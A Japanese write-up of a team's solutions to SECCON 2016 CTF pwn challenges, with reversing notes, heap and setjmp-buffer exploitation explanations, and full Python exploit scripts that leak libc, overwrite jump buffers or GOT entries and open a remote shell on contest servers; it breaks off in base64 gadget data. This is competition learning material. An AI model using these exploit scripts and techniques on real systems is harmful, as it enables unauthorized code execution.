SECCON 2016 online のwriteup
チームTSGとして、TSGメンバーの人々と集まって例のごとく参加していました。2600点で28位でした。
自分が主に解いた問題のwriteupとかを載せます。
12時間かけてjmperを解いて、9時間かけてchatを解いて、終了直前にropsynthを通した感じです。
jmper
問題と解法
x64のnot_stripped。NXあり、RELROあり。
生徒を増やしたり名前やメモを登録できたりするサービス。
以下はリバーシング時のメモ。(読みにくい)
//"1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" f(){ for(;;){ scanf("%d",var18); //q if(q==1){ if([602028]>0x1d){ //stn; longjump([602038]); } var8 = malloc(0x30); [var8] = stnnum; [var8+0x28] = malloc(0x20); //name [mycalss+stdnum*8] = var8; [602028]++; } else if(q==2){ scanf("%d",var1c); //ID if([var1c]>=stdnum || [var1c]<0)exit(); var10 = [[mycalss+var1c*8]+0x28]; int i=0; //var14 for(;i<=0x20;i++){ char c = getchar(); //var1d if(c==0xa)break; [var10] = c; var10++; } } else if(q==3){ //write memo scanf("%d",var1c); //ID if([var1c]>=stdnum || [var1c]<0)exit(); var10 = [mycalss+var1c*8]+0x8; int i=0; //var14 for(;i<=0x20;i++){ char c = getchar(); //var1d if(c==0xa)break; [var10] = c; var10++; } } else if(q==4){ //show name scanf("%d",var1c); //ID if([var1c]>=stdnum || [var1c]<0)exit(); printf("%s",[[mycalss+var1c*8]+0x28]); } else if(q==5){ //show memo scanf("%d",var1c); //ID if([var1c]>=stdnum || [var1c]<0)exit(); printf("%s",[mycalss+var1c*8]+0x8); } } } int main(){ [602030] = malloc(0xf0); //my_class [602038] = malloc(0xc8); //jump buf if(setjmp([602038])==0){ //bye; return; } f(); return; }
各生徒について、だいたい
struct student{ int index; char memo[0x20]; // +0x8 char* name; // +0x28; malloc(0x20); };
みたいな感じで構造体があって、memoを書いたりnameを書いたりできる。
で、nemoを書くところにoff-by-oneがあって、nameの指しているアドレスをリークしたり、nameの下1byteを上書きしたりできる。
で、試してみると、一人目のstudentについて、
アドレス | 値 | |
---|---|---|
heap_top+0x1e0 | index | |
heap_top+0x1e8 | memo | |
... | ... | |
heap_top+0x208 | name | heap_top+0x220 |
となっていると分かったので、1byte上書きして、
アドレス | 値 | |
---|---|---|
heap_top+0x1e0 | index | |
heap_top+0x1e8 | memo | |
... | ... | |
heap_top+0x208 | name | heap_top+0x208 |
としてやったあと、更にnameを変更することにより、nameが任意アドレスを指すようにできるので、そのときにnameを表示させることによりlibcのアドレスをリークさせたり、その後のnameの書き換えで任意の場所が書き換え可能となったりする。
ここでGOTを上書きできればおしまいなのだが残念ながら問屋が卸さず今回はRELROである。
ここで、今回はsetjmp,longjumpというのがあって、生徒を沢山作ろうとするとlongjumpが呼ばれるようになっている。
これはいわゆる大域脱出に使われる関数で、呼ぶと引数のバッファに従って環境が戻される(すなわちripかrspとかが書き換えられる!!)。
ここで、jumpのためのバッファはmallocで確保されているのでアドレスが分かり、このバッファをいじることによってripとrspをいじれるようになる。
jmperでROPガジェットを探すと pop rdi; ret;
が見つかるので、文字列"bin/sh"へのアドレスとsystemのアドレスを積んでいるスタックっぽい生徒の名前を作り、rspとripをROPが動くようにうまいこと書き換えればよい。
以下のlongjmpの逆アセンブルによれば、バッファにはrspとripがfs:0x30とxorされてシフトされた状態で入っており、うまいこと書き換えてやる必要があると分かるので、それをやる。
(ripはもともとmainのsetjmpの直後になるようになっているので、そこから逆算してfs:0x30が分かる)
以下、libcのlongjmpのobjdumpの結果。
36ae0: 4c 8b 47 30 mov r8,QWORD PTR [rdi+0x30] 36ae4: 4c 8b 4f 08 mov r9,QWORD PTR [rdi+0x8] 36ae8: 48 8b 57 38 mov rdx,QWORD PTR [rdi+0x38] 36aec: 49 c1 c8 11 ror r8,0x11 36af0: 64 4c 33 04 25 30 00 xor r8,QWORD PTR fs:0x30 36af7: 00 00 36af9: 49 c1 c9 11 ror r9,0x11 36afd: 64 4c 33 0c 25 30 00 xor r9,QWORD PTR fs:0x30 36b04: 00 00 36b06: 48 c1 ca 11 ror rdx,0x11 36b0a: 64 48 33 14 25 30 00 xor rdx,QWORD PTR fs:0x30 36b11: 00 00 36b13: 48 8b 1f mov rbx,QWORD PTR [rdi] 36b16: 4c 8b 67 10 mov r12,QWORD PTR [rdi+0x10] 36b1a: 4c 8b 6f 18 mov r13,QWORD PTR [rdi+0x18] 36b1e: 4c 8b 77 20 mov r14,QWORD PTR [rdi+0x20] 36b22: 4c 8b 7f 28 mov r15,QWORD PTR [rdi+0x28] 36b26: 89 f0 mov eax,esi 36b28: 4c 89 c4 mov rsp,r8 36b2b: 4c 89 cd mov rbp,r9 36b2e: ff e2 jmp rdx
以下が自分のコード。
#coding: utf-8 from socket import * import time #sudo gdb -q -p `pidof -s execfile` -x gdbcmd #socat TCP-L:10001,reuseaddr,fork EXEC:./execfile #./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt isgaibu = False isgaibu = True sock = socket(AF_INET, SOCK_STREAM) if isgaibu: sock.connect(("jmper.pwn.seccon.jp", 5656)) raw_input('gdb$') else: sock.connect(("localhost", 10001)) raw_input('gdb$') size_t = 0x8 #x64かx86か。sizeof(void*) の値で。 def addr2s(x): res = "" for i in xrange(size_t): res += chr(x % 256) x /= 256 return res def s2hex(s): return map(lambda c: hex(ord(c)),s) def s2addr(s): res = 0 for i in xrange(size_t): res *= 256 res += ord(s[size_t-i-1]) return res def shell(): while True: sock.send(raw_input() + '\n') print sock.recv(1024) def getunt(c): res = "" while res=='' or res[-len(c):]!=c: res += sock.recv(1) #print res print res return res def send(s): #print '[sending :: %s]' % s time.sleep(0.1) sock.send(s) def getshellc(fn): res = "" with open(fn,'rb') as fp: res = fp.read() print map(ord,res) return res class FSB: def check_diff(sl): #return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15))) return '%8x,' * 15 #0x25,0x30,0x78,0x2c なので、そのへんを探す。 def init(sl,kome,bytm,paynum,yet): #たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、 #fsb.init(kome=3,bytm=2,paynum=,yet=) で。 sl.kome = kome sl.head = '*' * bytm #%hnでやっていきます sl.yet = yet + paynum * size_t * (size_t / 2) + bytm print 'yet .. ',sl.yet print yet #payloadは、yetとpaynum分ずれて出る。 sl.data = [] sl.npn = 0 def add(sl,addr,val): #addrをvalにする for i in xrange(size_t/2): #x86なら2,x64なら4 sl.head += addr2s(addr + i*2) sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2))) val /= 0x10000 sl.npn += 1 #短い順にソートすることにより、ペイロードを短くする def get(sl): res = sl.head ny = sl.yet data = sorted(sl.data) for ty,s in data: dy = ((ty-ny + 0x10000) % 0x10000) if dy>0: res += '%%%dx' % dy res += s ny = ty #print len(sl.head) #print s2hex(sl.head) return res def name(x,s): send('2\n%d\n' % x) #name send(s) getunt('6. Bye :)') def memo(x,s): send('3\n%d\n' % x) #name send(s) getunt('6. Bye :)') def add(): send('1\n') getunt('6. Bye :)') def leak_got(): add() memo(1,'b' * 0x20 + chr(0x78)) name(1,addr2s(0x601fa0) + '\n') send('4\n1\n') s = getunt('6. Bye :)') s = s[4:] s = s[:6] s = s + '\x00' * 2 print 'addr ..',hex(s2addr(s)) raw_input('leak') return s2addr(s) getunt('6. Bye :)') add() memo(0,'a' * 0x20 + '\n') send('5\n0\n') s = getunt('6. Bye :)') s = s[0x24:] s = s[:4] + '\x00' * 4 print s2hex(s) ad = s2addr(s) print hex(ad) beas = ad - 0x220 toa = beas + 0x140 print hex(beas) puts_ad = leak_got() memo(0,'b' * 0x20 + chr(0x08)) name(0,chr(toa % 256) + chr((toa / 256) % 256) + '\n') send('4\n0\n') s = getunt('6. Bye :)') s = s[4:] s = s[:16] #print s2hex(s) s1 = s[:8] s2 = s[8:] x = s2addr(s2) def ror(x): res = (x>>0x11) | ((x<<(0x40-0x11)) & ((1<<64)-1)) return res def rol(x): res = ((x<<0x11) & ((1<<64)-1)) | (x>>(0x40-0x11)) return res x = ror(x) cana = x ^ 0x400c31 x ^= (0x400c31 ^ 0x00400cc3) #pop rdi; ret x = rol(x) y = s2addr(s1) y = ror(y) y = cana ^ (beas + 0xe28) y = rol(y) send('2\n0\n') #name send(addr2s(y) + addr2s(x) + '\n') getunt('6. Bye :)') binsh = puts_ad - 0x6fd60 + 0x17c8c3 syste = puts_ad - 0x6fd60 + 0x046590 for i in xrange(27): print 'i ...... %d' % i send('1\n') #name getunt('6. Bye :)') memo(28,addr2s(binsh) + addr2s(syste) + '\n') send('1\n') #name time.sleep(1) print sock.recv(1024) shell() #SECCON{3nj0y_my_jmp1n9_serv1ce}
大会中
配置アドレスの確認とかに時間をかけすぎていてずいぶん時間がかかってしまった。
また、途中までOne-gadget-RCEでどうにかしようとしていて、与えられたlibcで手元で動かしたかったのでいろいろ試行錯誤していたが結局だめだった。(LD_LIBRARY_PATHでやろうとしてもなぜかセグフォしてうまくいかなかった)(仮想環境のlibcを置き換えようとしたところ、もともとあったlibcをmvしてから問題libcをcpしようとしたら、cpするためのlibcが無くなってしまったのでcpやmvが動かなくなり、仮想環境を一つぶっ壊してしまった。)
こんなに時間がかかるとは思っていなかったので泥沼という感じ。
chat
問題と解法
x64のnot_stripped。NX,canaryあり。
twitter風のチャットサービス。(僕は大会中ずっとこの問題をツイッターと呼んでいた)
以下はリバーシング時のメモ(書きかけ)(読めない)
int getnline(char* s,int ls){ fgets(s,ls);して、strchr(s,'\x10');して消す奴 return strlen(s); } int main(){ /* 1 : Sign Up 2 : Sign In 0 : Exit */ char* acc = NULL; //rbp-0xa8 char* name; //rbp-0xa0 for(;;){ if(accnum !=0){ servise(acc); logout(acc); } int n=getint(); if(n0<=n<=2){ getnline(name,0x20); if(n==0)break; if(n==1)signup(name); else login(accnum,name); } else invalid; } } void servise(char* user){ char* un = user; //rbp-0xa8 /* 1 : Show TimeLine 2 : Show DM 3 : Show UsersList 4 : Send PublicMessage 5 : Send DirectMessage 6 : Remove PublicMessage 7 : Change UserName 0 : Sign Out */ get_tweet(0); get_tweet([rbp-0xa8]); list_users(); else if(q==4){ getnline(rbp-0x90,0x80); post_tweet([rbp-0xa8],0,rbp-0x90); // } else if(q==5){ getnline(rbp-0x90,0x20); [rbp-0x98] = getuser(rbp-0x90); getnline(rbp-0x90,0x80); post_tweet([rbp-0xa8],[rbp-0x98],rbp-0x90); // } else if(q==6){ remove_tweet([rbp-0xa8],getint()); // } else{ getnline(rbp-0x90,0x20); change_name([rbp-0xa8],rbp-0x90); // } } int hash(char* s){ if(s==0)return -1; var4 = tolower(s[0]); if(!isprint(var4))return -1; return var4;// の 0x60あたり } void get_user(char* s){ varc = hash(s); if(varc!=0){ var8 = [user_tbl+varc*8]; for(;;){ if(var8==0)return 0; if(strcmp([var8],s)==0)return var8; var8 = [var8+0x10]; } } else return 0; } void login(char* acc,char* s){ [acc] = get_user(s); if([acc]!=0){ //ok return 1; } else return 0; } struct tweet{ //長さ0x98 long int num; //tweet_count void* tweeter; //0x8 char data[0x80]; //0x10 void* next; //0x90 }; struct man{ int name }; //先頭が対応するやつにつながれる。 //tweeterは、また、getuserで返ってくる奴。 void post_tweet(void* man,void* to,char* s){ //man .. var18, to = var20, s = var28 var8 = malloc(0x98); [var8+8] = man; linecpy(var8+10,s,0x80); if(to==0){ tweet_count += 1; //0x6031c0 [var8] = tweet_count; [var8+0x90] = tl; tl = var8; } else{ [var8] = 0; [var8+0x90] = [to+0x8]; [to+0x8] = var8; } } void linecpy(char* to,char* fr,int len){ for(int i=0;i<len;i++){ to[i]=fr[i]; if(fr[i]==0)break; if(fr[i]=='\x0a')break; } return i; } //0x6030e0 に リストがある。 int remove_tweet(void* man,int n){ //tlからみつけてfreeする。 var10 = tl; while(var10!=NULL){ if([var10]==n)break; var10 = [var10+0x90]; } if(var10==NULL)return 0; if([var10+8]!=man)return -1; if([tl]==var10){ tl = [var10+0x90]; free(var10); } var8 = var10; //delete var10 = tl; //for while(var10!=0){ if(var8==[var10+90])break; var10 = [var10+90]; } [var10+0x90]; = [var8+90]; free(var8); return 1; } int change_name(void* man,char* s){ //var18, var20 varc = hash([man]); if(varc==0)return -1; if(getuser([man])!=0){ puts("falied"); return -1; } varc = hash([man]); if(var18 != [tbl+8*varc]){ // if(varc = hash()>=0){ [man+0x10] = varc; } } } int signup(char* s){ //var18 if(get_user(s)!=0){ printf(fail); return 0; } var8 = malloc(0x18); varc = hash(s); if(varc<0){ free(var8); print(fail); } else{ [var8] = strdup(s); [var8+8] = 0; //以降 } } void remove_user(void* man){ if( }
中で使われてる構造体は、
struct tweet{ //長さ0x98 int num; void* tweeter; // +0x8 char data[0x80]; // +0x10 void* next; // +0x90 }; struct man{ //長さ0x18 char* name; //以下略 };
みたいなの。
manのnameへのポインタは、
getnline(s,0x20);
taro->name = strdup(s);
として確保されているが、change_nameにおいて
getnline(s,0x20); linecpy(taro->name,s,0x20);
みたいなことをしている。(linecpyはstrcpyみたいな独自関数)
strdupは文字列の長さ分だけmallocしたものを返すので、最初にnameを短くつけておいたあと、change_nameで0x20くらいの長さの名前に書き換えることにより、mallocにおいてオーバーフローを起こすことができる。
で、ここで壊しうるのは次のmallocチャンクのsize部分のあたりなので、そこからうまいことexploitしていく。
ツイートを消したり、名前を長さ0の文字列にすることで人を消せたりする仕様なので、ある程度自由にfreeもできる。
自分の名前でないとツイートを消せないので、結果的には、
1. 人『c』を作る
2. 人『a』を作る
3. 『a』でツイート[1]をする
4. 『c』でツイート[2]をする
5. 『a』でツイート[1]を消す
6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする
7. 人『b』を作る
8. 人『`BCA』を作る
9. 人『b』を消す
10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す
11. 『c』でツイート[2]を消す
となった。
自分でも書いていてなにが起こっているのかよく分からないので解説する。
まず、5.までで、heapは以下のようになっている。(括弧内はサイズ)
+-------------+ | | | 人c | | (0x20) | | | +-------------+ | | | 人cの名前 | | (0x20) | | | +-------------+ | | | 人a | | (0x20) | | | +-------------+ | | | 人aの名前 | | (0x20) | | | +-------------+ | | | | | | | | | ツイート[1] | | (free済み) | | (0xa0) | | | | | | | +-------------+ | | | | | | | ツイート[2] | | (0xa0) | | | | | | | +-------------+
この時点で、ツイート[1]だったチャンクはunsorted_binsに繋がっているわけだが、この状態で
6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする
をすると、あたかもサイズ0x90のチャンクがunsorted_binsに繋がっているように見える。(0x1はprev_inuseビット)
で、ここで
7. 人『b』を作る
8. 人『`BCA』を作る
をすると、ツイート[1]だったチャンクが切り分けられて使われる。
このとき重要なのが、チャンクヘッダのサイズを小さくしていることにより、ツイート[2]の直前にあるprev_sizeが更新されない、ということである。(実際には、更新すべき場所の0x10前が更新されている)
この時点で、heapの状況は
+-------------+ | | | 人c | | (0x20) | | | +-------------+ | | | 人cの名前 | | (0x20) | | | +-------------+ | | | 人a | | (0x20) | | | +-------------+ | | | 人aの名前 | | (0x20) | | | +-------------+ | | | 人b | | (0x20) | | | +-------------+ | | | 人bの名前 | | (0x20) | | | +-------------+ | | | 人`BCA | | (0x20) | | | +-------------+ | | |人`BCAの名前 | | (0x20) | | | +-------------+ | | | >^^^^^^< | | > 闇 < | | >vvvvvv< | | (0x20) | | | +-------------+ | | | | | | | ツイート[2] | | (0xa0) | | | | | | | +-------------+
となっている。
このあとにツイート[2]を消してunlinkしたいのだが、まだ人『b』が使用中なので、このままツイート[2]を消すと『corrupted double-linked list』エラーが出てプログラムが落ちてしまう。そこで、
9. 人『b』を消す
をすることによって、人『b』の部分をfreeした後、(人『b』はfastbinsのサイズなので、この時点ではまだ片方向リスト)
10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す
をすることによって、malloc_consolidateが呼ばれ、人『b』がunsorted_linksに繋がれ、無事にunlinkできるようになる。よって、後は
11. 『c』でツイート[2]を消す
をすると、いっしょに上のサイズ0xa0の部分がunlinkされるので、最終的に、heapは以下のようになる。
+-------------+ | | | 人c | | (0x20) | | | +-------------+ | | | 人cの名前 | | (0x20) | | | +-------------+ | | | 人a | | (0x20) | | | +-------------+ | | | 人aの名前 | | (0x20) | | | +-------------+ | | <---- main_arena.topがここを指している。 | | | | | | +-------------+ | | | 人bの名前 | | (0x20) | | | +-------------+ | | | 人`BCA | | (0x20) | | | +-------------+ | | |人`BCAの名前 | | (0x20) | | | +-------------+
この11.まで行った状況でツイートをすると、人『`BCA』のチャンクと被ったチャンクがmallocで降ってくるので、
nameポインタがGOTを指すようにしたあと、人『`BCA』の名前を書き換えればripが取れる。
のだが、ここからが容易ではない。というのも、名前を書き換える際に、今までの名前と新しい名前の先頭の文字列がprintableでないとそもそも名前を書き換えてくれない、という仕様になっているので、そこを切り抜けてやる必要がある。(ここでものっそい苦労した)(与えられたlibcでないとこの部分のデバッグができないので、環境を作るのにもめちゃ苦労した)
最終的には、mallocのアドレスの下1byteがprintableで、なおかつmallocのgotの下にisprintがあることが分かったので、malloc越しにisprintのアドレスをOne-gadget-RCEのアドレス(yamaguchi氏に探してもらった)に飛ばすことによってシェルを取った。
以下が自分のコード。
#coding: utf-8 from socket import * import time #sudo gdb -q -p `pidof -s execfile` -x gdbcmd #socat TCP-L:10001,reuseaddr,fork EXEC:./execfile #./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt isgaibu = False isgaibu = True sock = socket(AF_INET, SOCK_STREAM) if isgaibu: sock.connect(("chat.pwn.seccon.jp", 26895)) raw_input('gdb$') else: sock.connect(("localhost", 10001)) raw_input('gdb$') size_t = 0x8 #x64かx86か。sizeof(void*) の値で。 def addr2s(x): res = "" for i in xrange(size_t): res += chr(x % 256) x /= 256 return res def s2hex(s): return map(lambda c: hex(ord(c)),s) def s2addr(s): res = 0 for i in xrange(size_t): res *= 256 res += ord(s[size_t-i-1]) return res def shell(): while True: sock.send(raw_input() + '\n') print sock.recv(1024) def getunt(c): res = "" while res=='' or res[-len(c):]!=c: res += sock.recv(1) #print res print res return res def send(s): #print '[sending :: %s]' % s sock.send(s) def getshellc(fn): res = "" with open(fn,'rb') as fp: res = fp.read() print map(ord,res) return res class FSB: def check_diff(sl): #return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15))) return '%8x,' * 15 #0x25,0x30,0x78,0x2c なので、そのへんを探す。 def init(sl,kome,bytm,paynum,yet): #たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、 #fsb.init(kome=3,bytm=2,paynum=,yet=) で。 sl.kome = kome sl.head = '*' * bytm #%hnでやっていきます sl.yet = yet + paynum * size_t * (size_t / 2) + bytm print 'yet .. ',sl.yet print yet #payloadは、yetとpaynum分ずれて出る。 sl.data = [] sl.npn = 0 def add(sl,addr,val): #addrをvalにする for i in xrange(size_t/2): #x86なら2,x64なら4 sl.head += addr2s(addr + i*2) sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2))) val /= 0x10000 sl.npn += 1 #短い順にソートすることにより、ペイロードを短くする def get(sl): res = sl.head ny = sl.yet data = sorted(sl.data) for ty,s in data: dy = ((ty-ny + 0x10000) % 0x10000) if dy>0: res += '%%%dx' % dy res += s ny = ty #print len(sl.head) #print s2hex(sl.head) return res def make_man(s): getunt('menu > ') send('1\n') send(s+'\n') def login(s): getunt('menu > ') send('2\n') send(s+'\n') def make_tweet(s): getunt('menu >> ') send('4\n') send(s) def rename(s): getunt('menu >> ') send('7\n') send(s) def remove_tweet(n): getunt('menu >> ') send('6\n') send('%d\n' % n) def logout(): getunt('menu >> ') send('0\n') make_man('c') login('c') logout() make_man('a') login('a') make_tweet('aaaaaaaa' * 15 + '\x31\x00\x00\x00' + '\n') #1 logout() login('c') make_tweet('\x21' * 8 * 10 + '\n') #2 logout() login('a') remove_tweet(1) rename('dddddddd' * 3 + '\x91\x00\x00\x00' + '\n') logout() make_man('b') login('b') logout() make_man('`BCA') login('`BCA') logout() login('b') rename('\n') #user_tbl login('c') time.sleep(1) make_tweet('consolidate' + '\n') #3 remove_tweet(3) remove_tweet(2) logout() login('`BCA') make_tweet('cccccccc' * 6 + '\x70\x30\x60\x00' + '\n') #4 #ここで、名前を貼ってるアドレスが書き換わる remove_tweet(4) send('3\n') getunt('Users List\n') s = sock.recv(1024) print s s = s[2:] s = s[:6] print zip(range(0,len(s)),zip(s,s2hex(s))) malloc_addr = s2addr(s + '\x00' * 2) print hex(malloc_addr) raw_input('leak') oge_addr = malloc_addr - 0x082660 + 0x0e576c send('7\n') send('\x60' * 8 + addr2s(oge_addr) + '\n') send('/bin/sh'+'\n') shell()
大会中
リバーシングするべき場所が多くて大変だったので、出題直後のまだ元気な時点である程度リバーシングしていたのがよかった。
GOT任意書き換えに持ち込めたときには『やったか!?』となったがそこからが本当の苦しみだった。書き換えようとする関数の下1byteが悉くprintableでなかったり、printfとかそういう系も絶妙にいじれなかったりして非常につらかった。『問題バイナリが悪意を持って自分に刃向かってるとしか思えない』とか『部屋に入りきらない絨毯を敷きつめようとしている感じ』とか『俺はchatと刺し違えるぞ』みたいなことを叫びながらやっていた。非常につらかった。
また、今回はlibcの下1バイトが合わないとデバッグがつらいやつだったので手元に同じ環境を作ろうとしたのだがとても難航した。(yamaguchi氏に仮想環境を頼んだらjmperのときのと同様の事案をやらかしたりしていた) 結局、moratorium氏が奇跡的に同じバージョンのUbuntuを持っていたので、彼から借りてデバッグしたらわりとすぐ原因が見つかったので環境は大事という気持ちになった。(One-gadget-RCEのアドレスを1命令分後ろにしていた)
ropsmyth
問題と解法
BASE64エンコードされたROPガジェット群が降ってくるので、rspが先頭を指しているような状態でretすると
fd = open("secret", 0, 0); len = read(fd, buf, 256); write(1, buf, len);
をやるようなスタックを返す問題。
降ってくるガジェットを逆アセンブルして観察してみると、わりと規則性があって、どれも、
- pop rsi;
- push rax; pop rdi;
- push rax; pop rdx;
- pop rax;
- syscall; push rax;
の5つのガジェットが存在しているみたい。
で、呼ぶべきシステムコールを見てみると、これらをうまいこと組み合わせる感じである、という作問者の意図が伝わってくる感じなので、それにしたがって組み合わせる。
途中に、
35: 41 5b pop r11 37: 49 81 c3 25 97 79 77 add r11,0x77799725 3e: 49 81 f3 0b 57 90 40 xor r11,0x4090570b 45: 49 81 c3 71 bf 2b 18 add r11,0x182bbf71 4c: 49 81 c3 aa 1b c4 1b add r11,0x1bc41baa 53: 49 81 eb b7 8c a1 15 sub r11,0x15a18cb7 5a: 49 81 f3 a5 04 3b 2b xor r11,0x2b3b04a5 61: 49 81 f3 a0 c5 2b 1e xor r11,0x1e2bc5a0 68: 49 81 f3 9e dc f0 68 xor r11,0x68f0dc9e 6f: 49 81 fb 3e 00 cb 21 cmp r11,0x21cb003e 76: 74 06 je 0x7e 78: f4 hlt
みたいなのがあったりして、要するにうまいこと値を合わせてスタックに積んでおかないと途中で実行が止まってしまうという感じなので、そのへんもどうにかしてやる。(objdumpの解析時に逆から読んで逆算すればよい)
以下は解答スクリプト。
#coding: utf-8 import os samp = """ 9PT09PT09PRQX0FeSYH24JvHBkmBxrN71F5JgfY7I6hRSYH+V1ynF3QD9PT0W0iB8/1q70lIgcPrcNRaSIHr99Q6Q0iB81H7dgRIgesNwodTSIH7NqusAXQF9PT09PRdSIH1B1uaOkiB7XPnL2BIgfVzrVVISIHFeqKpJEiB7TMlqQZIge057RVqSIH1MxatKEiB9Wq3lCZIgf0KHVdCdAT09PT0QV9JgcebW58DSYHv+vakC0mBx6OTE2BJgff5MrQ8SYH3O8tOSUmB/2l85010BvT09PT09EFfSYH3iNkWFUmB9+GOA3FJgcdgBpEfSYH3DvPbDEmB72/qC3RJgccYNqBUSYH3zUXWXkmB71tAAjJJgf/LsA53dAj09PT09PT09MP09PT0DwVZSIHBJUyZJEiB8cO/wltIgfmGKkoDdAP09PRBW0mB63VeKB9JgfPcPt9qSYHzGbGQdkmB84bEeGZJgeudM7I7SYHr9m2dW0mB62bm9jZJgftBABtodAP09PTD9FhBXEmB7EWwIDtJgcR2Fdt/SYH8MLoicXQF9PT09PRBXkmB9l4LuhdJgcYIVzcESYHGsq4hKkmB9msz2HBJgfYtJ/cVSYH249yLE0mBxqd1cHJJge7QQyFuSYH+Mf/8aXQE9PT09EFeSYH20puISEmBxjxh8WtJge6wiG1wSYHuWLE0c0mB9gQz60ZJgfZzOW0FSYH2NBduAkmB/mzef0h0BvT09PT09MP09PT09PRQWkFcSYH0+SgaB0mB9DslDglJgezz8edDSYH0PS3WWkmB9PEQV0JJgcSU+VRvSYHEJJBmNkmB7OLI4hZJgfySIEMbdAb09PT09PTD9PT0XllIgcHNYUlUSIHpgV06G0iBweVzoGFIgcHSwYg4SIHpv2/1IUiBwS+x4G5IgfFTnZcySIH5+PBaRnQC9PTD """ samp2 = """ 9PT0UFpBXkmB9lO7iF1JgfYudSRaSYH2e18QV0mB7m+2pRFJgf5ezVkvdAL09EFfSYH3su6Dc0mB721jumJJgfe0s510SYHvedJCTUmBx3JT5DRJgf9ySRcidAL09EFbSYHDrGOOdUmB+1BkThx0CPT09PT09PT0WUiB8VG9ZlZIgfHnhsI1SIHBE4UNW0iB6XIjEC1IgemU4kdeSIHBk0LCF0iB6fbiMilIgfmuCfIRdAX09PT09MP09PT09PT09F5BXEmBxAtnZC5JgcR/ABQhSYH0ekphRkmBxO9qNF9JgcSpYfFQSYHsnMnoI0mBxL60nAJJgfzRBHE8dAX09PT09FlIgelJizJPSIHxn0X4AEiB+exnxl90BPT09PRBXkmBxgqlpWhJge75TxNjSYHGBsIDZkmB/mEp7Sh0CfT09PT09PT09EFdSYH1gETSc0mB7UYupiNJge3FJC9sSYH1qlh1JkmB9TUDIFlJgfXziU9ASYH1T5RURUmB/dsxXid0CPT09PT09PT0QVtJgeuiAjlQSYHDhuzkGUmB8z/GKlNJgfMiPKcCSYHzu+V4F0mB+/gIQAd0B/T09PT09PRZSIHxXgrEJkiB8e/hsiZIgcH1fh1GSIHBdLcWXUiBwdsoTx5Igem+vZQlSIHB1YHYfEiBwWUOiABIgfk2M8EwdAX09PT09EFbSYHD7+RwYEmB+73JIQ50B/T09PT09PRdSIHFpNk3A0iB/ZHgzUd0AvT0w/QPBVtIges01nRkSIHrzyWEY0iB80Wt6XVIgfN1FOM7SIHD+zoVf0iBw9BP6xJIgcPZW5IhSIHDybBFKUiB+1cMwkN0A/T09MP09PT09PT0WFtIgfMkHegwSIHzmmZaXEiB8yXM8llIgfvk201QdAX09PT09EFdSYHtoboHDUmB7QJtbm1JgfWuVTotSYH1nCyifkmB7cEVx1VJgf2Y8J8VdAL09FlIgcEolzY9SIHxVmYaI0iBwdOgiBBIgcEdyRxJSIH5uypVanQC9PRBW0mB8++GNCNJgfOLKhhPSYHDYXLcCkmBw1B5kAhJgevWLZtrSYHrF2pIBUmBw0Quv2VJgetOL6NWSYH7TuKDanQC9PRBXEmB9Nr9gxVJgfRvf4cVSYH0BmxPa0mB7C4+uhBJgfzqXBgQdAL09MP09PT09FBfQV5JgcaGDWc/SYHueZxqYUmBxi1uZABJgcYLFZ0iSYHGtaY8EUmB9lm5hA1Jge5UthRBSYH+rJIBdXQE9PT09EFbSYHrshP4M0mB89gvwipJgeujkQxySYH7k3eHNXQC9PRBXUmBxd8PW0ZJgcVUyccCSYH9dYUVAXQJ9PT09PT09PT0W0iBwxJkdnFIgesKE4o7SIH7W+3VEnQJ9PT09PT09PT0QV1JgfU3nGxYSYHFvTGrAEmBxXnxR3ZJgfVYfMs9SYHFwlxND0mBxdK5gT9Jgf2m4Z1DdAL09MM= """ samp3 = """ 9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx